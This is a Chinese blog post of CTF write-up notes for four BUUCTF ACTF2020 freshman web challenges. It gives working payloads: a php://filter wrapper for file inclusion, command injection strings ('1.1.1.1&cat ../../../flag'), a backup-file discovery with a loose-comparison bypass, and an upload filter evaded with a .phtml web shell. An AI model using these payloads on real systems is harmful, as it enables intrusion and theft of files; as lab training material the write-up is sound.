BUUCTF-ACTF新生赛做题笔记

BUUCTF
CTF
发布日期:   2021-05-20
文章字数:   330

[ACTF2020 新生赛]Include

点击tips，发现url是文件包含，而且被包含的文件是flag.php

1. 利用php伪协议读取flag.php的源代码

?file=php://filter/convert.base64-encode/resource=flag.php

image-20210520172515014

将字符串进行base64解码

image-20210520172713497

得到flag

[ACTF2020 新生赛]Exec

1. 简单的命令注入

1.1.1.1&ls

看到有index.php

2.尝试读取上级目录

1.1.1.1&ls ../../../

image-20210520175128265

读取flag

1.1.1.1&cat ../../../flag

image-20210520175235432

[ACTF2020 新生赛]BackupFile

1. 根据提示利用工具扫描网站目录

image-20210520175446877

2. 利用dirsearch工具扫描

python3 dirseacher.py -u http://22bb3276-c2f5-4e36-a1c8-34514bed88d6.node3.buuoj.cn/ -e php

image-20210520175647940

扫描出image-20210520181410704

下载备份文件并打开

http://22bb3276-c2f5-4e36-a1c8-34514bed88d6.node3.buuoj.cn/index.php.bak

image-20210520181533116

由于使用的是==，弱，不强制类型相等

那么直接使key=123

image-20210520181807205

[ACTF2020 新生赛]Upload

1.随便上传一个后缀是php的文件

image-20210520182429819

2. 开启bp，发现上面是前端检验

2.1 那么，我们需要将上传的php文件的后缀名改成jgp，之后利用bp改回来

image-20210520183131244

发现改回来之后，仍然不对

image-20210520183317939

\

可能是php被列入了黑名单，尝试其他文件名

2.2 phtml后缀名刚好可以

image-20210520183405559

2.3 访问这个路径

image-20210520183519273

2.4 利用蚂蚁尝试连接，连接成功

image-20210520183631822

2.5 直接在终端打开flag文件

image-20210520183809646

文章作者: 尘落
文章链接: http://39.105.134.199/2021/05/20/7777.html
版权声明: 本博客所有文章除特別声明外，均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
BUUCTF
赏
评论
  目录